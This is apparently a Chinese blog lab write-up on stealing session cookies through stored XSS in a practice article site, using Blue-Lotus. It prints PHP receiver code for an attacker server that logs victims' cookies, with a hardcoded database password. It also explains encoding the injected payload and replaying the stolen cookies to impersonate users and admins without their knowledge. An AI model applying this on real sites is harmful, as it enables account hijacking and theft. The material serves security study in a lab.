XSS获取Cookie实验

目录

XSS获取Cookie实验

一、搭建Bule-Lotus平台

二、正式实验

(1)开发XSS实验环境

1、确认实验环境

2、创建数据表xssdata

3、编写服务器接收代码

(2)实现XSS攻击

1、在页面中注入代码

2、获取Cookie后执行

Blue-Lotus完成实验

XSS获取Cookie实验

构建文章阅读系统并完善其发帖的功能之后,搭建Blue-Lotus平台

系统开发我不说了,搭建平台只需将获取得到的源码解压存放在httpd的web根目录下就好了,注意修改web服务的配置文件就好了

一、搭建Bule-Lotus平台

  • 下载好源码,直接去网上搜

  • 要么有LNMP环境,要么直接下载apache服务

  • nginx的配置文件在 /usr/local/nginx/conf/nginx.conf apache的配置文件在 /etc/httpd/conf/httpd.conf,注意修改nginx配置文件中的root或apache配置文件中的DocumentRoot。我在这里使用的是apache的服务。而我搭建的woniunote使用的是nginx,当然,我完全可以把Blue-Lotus也搭建在nginx上

  • 安装php环境

  • 源码放在对应的web服务器根目录就好了

  • 最后直接访问该服务器的ip地址即可

二、正式实验

作为攻击者,我需要事先进入系统发表一篇文章,我在该文章中嵌入我精心构造的js脚本,发表成功之后,当其他用户阅读我这篇文章的时候,一点开,我就可以获得他们的信息,而且他们还要完全不知道,对他们是透明的。一旦获取到他们的细腻些,我就可以通过fiddler或firefox中的http live或bp等来发送请求,更换其中的Cookie字段的值我就可以冒充其他用户了。

(1)开发XSS实验环境

1、确认实验环境

攻击者服务器:192.168.230.150,将获取到的Cookie数据保存到该服务器的数据库中,运行PHP代码暴露一个接收Cookie的URL地址。

正常Web服务器:192.168.230.147,用于用户正常的访问的目标站点,用户在这里可以阅读和发表文章。

用户浏览器:192.168.230.1,Windows环境,使用Chrome浏览器。

攻击者浏览器:192.168.230.1,Windows环境,使用firefox浏览器。

2、创建数据表xssdata
3、编写服务器接收代码

这份代码的用处是,当用户访问到了我所发表的文章之后,我嵌入的恶意代码将用户的信息发送给我的这份代码,然后我的这份代码对用户信息做处理并存起来

这份代码的地址为 http://192.168.230.150:88/xssreceive.php

复制代码
     // 下面是一段PHP后端代码,用来接收处理发来的信息并存在数据库中
     $ipaddr = $_SERVER["REMOTE_ADDR"];
     $url = $_GET['url'];
     $Cookie = $_GET['Cookie'];
     $conn = new mysqli('192.168.230.150','root','p-0p-0p-0','woniunote',3306) or die("数据库连接失败");
     // $conn->query('set names utf8');
     $conn->set_charset('utf8');
 ​
     $sql = 'insert into xssdata(ipaddr,url,Cookie,createtime) values(?,?,?,now());';
     $stmt = $conn->prepare($sql);
     $stmt->bind_param('sss',$ipaddr,$url,$Cookie);
     $stmt->execute();
     $stmt->close();
     $conn->close();
 ​
     // echo "<script>history.back();</script>";
     // echo "<script>location.href='http://woniuxy.com/'</script>";

(2)实现XSS攻击

1、在页面中注入代码

这份代码的用处是:我注入在我所发表的文章中,当其他用户阅读我这篇文章时,我可以获取到他们的信息,然后发送给我的攻击服务器

注意要做到的是,获取用户信息对于用户来说要是透明的,用户要无感,我们要做的偷偷摸摸的,不知不觉的。

由于我们发送的文章内容会被浏览器引擎所解析,而浏览器会将 + 处理为空格 &及之后的内容清空,所以我们在注入代码时需要对这些特殊字符进行处理,根据ASCII码值进行转换为URL编码(ASCII码值对应的是十进制的数,URL编码对应的是%加十六进制的数)

复制代码
 PHP后台需将 + 号处理为 %2B  将&处理为 %26
 ​
2、获取Cookie后执行

从数据库中取得用户的Cookie数据:

发送到repeater模块

修改Cookie字段的值就好了

如果可以用Live HTTP headers就更好了

在Firefox中修改Cookie数据并发送请求,如果管理员访问了我的这篇文章,我还可以越权获得管理员的身份信息。

Blue-Lotus完成实验

搭建好该平台之后,操作步骤,请看下面这篇文章

BlueLotus的安装及使用-CSDN博客

注意在生成payload的时候,一定要在website的url地址后面加上index.php,否则payload根本不生效

相关推荐
视觉&物联智能4 小时前
【杂谈】-人工智能驱动的网络安全威胁:新一代网络钓鱼
网络·人工智能·web安全·网络安全·安全威胁分析
博睿谷IT99_4 小时前
网络安全怎么入门?快速了解
安全·web安全
落——枫7 小时前
网络安全知识点3
安全·web安全
安全系统学习8 小时前
网络安全之红队LLM的大模型自动化越狱
运维·人工智能·安全·web安全·机器学习·php
浩浩测试一下13 小时前
网络安全实战指南:从安全巡检到权限维持的应急响应与木马查杀全(命令查收表)
linux·安全·web安全·ubuntu·网络安全·负载均衡·安全架构
mooyuan天天18 小时前
Webug3.0通关笔记17 中级进阶(第01-05关)
web安全·文件包含·sql注入·webug靶场
vortex521 小时前
网络安全入门综述
安全·web安全·网络安全
神经毒素1 天前
WEB安全--社会工程--SET钓鱼网站
安全·web安全
琢磨先生David1 天前
重构数字信任基石:Java 24 网络安全特性的全维度革新与未来防御体系构建
java·web安全·密码学
见青..1 天前
【学习笔记】文件包含漏洞--本地远程包含、伪协议、加密编码
前端·笔记·学习·web安全·文件包含